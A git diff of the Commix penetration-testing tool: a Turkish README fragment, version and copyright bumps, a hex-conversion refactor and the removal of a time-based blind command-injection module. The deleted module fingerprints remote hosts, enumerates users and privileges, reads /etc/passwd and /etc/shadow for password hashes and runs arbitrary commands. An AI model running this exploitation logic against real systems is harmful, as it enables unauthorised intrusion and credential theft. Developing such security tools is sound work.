+ + +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. + +![Screenshot](https://commixproject.com/images/background.png) + +Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz. + + +## Kurulum + +Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz : + + + $ git clone https://github.com/commixproject/commix.git commix + +Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz. + +*__Not:__ **[Python](http://www.python.org/download/)** (sürüm **2.6**, **2.7** veya **3.x**) commix'i çalıştırmak için gereklidir.* + + + + + + +## Kullanım + +Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: + + $ python commix.py -h + +Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz. + + +## Linkler + +* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki +* Sorun takibi: https://github.com/commixproject/commix/issues + + diff --git a/setup.py b/setup.py index a13aa90fcb..29e9e5178c 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2019 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -17,7 +17,7 @@ setup( name='commix', - version='3.3', + version='4.1.dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', @@ -31,6 +31,7 @@ license='GNU General Public License v3 (GPLv3)', packages=find_packages(), include_package_data=True, + package_data={"": ["*.txt"]}, zip_safe=False, classifiers=[ 'Development Status :: 5 - Production/Stable', diff --git a/src/__init__.py b/src/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 2db6ac6049..536f70d678 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index a6be82373a..e4adf76cec 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,26 +14,41 @@ """ import codecs -from src.utils import settings +import binascii +from src.utils import settings from src.thirdparty import six +""" +Decode string for hex +""" def hexdecode(value): if value.lower().startswith("0x"): value = value[2:] try: value = codecs.decode(''.join(value.split()), "hex") + except binascii.Error: + _ = False + return value, _ except LookupError: value = binascii.unhexlify(value) - value = value.decode(settings.UNICODE_ENCODING) - return value + try: + value = value.decode(settings.DEFAULT_CODEC) + _ = True + except: + _ = False + return value, _ +""" +Encode string to hex +""" def hexencode(value): if isinstance(value, six.text_type): - value = value.encode(settings.UNICODE_ENCODING) + value = value.encode(settings.DEFAULT_CODEC) try: value = codecs.encode(value, "hex") except LookupError: value = binascii.hexlify(value) - value = value.decode(settings.UNICODE_ENCODING) - return value + value = value.decode(settings.DEFAULT_CODEC) + _ = True + return value, _ diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py deleted file mode 100755 index e93ee1ff02..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ /dev/null @@ -1,566 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - if target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" - if alter_shell: - cmd = cmd.replace("'","\\'") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - check_privs = output - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - # Unix-like users enumeration. - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.users: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, 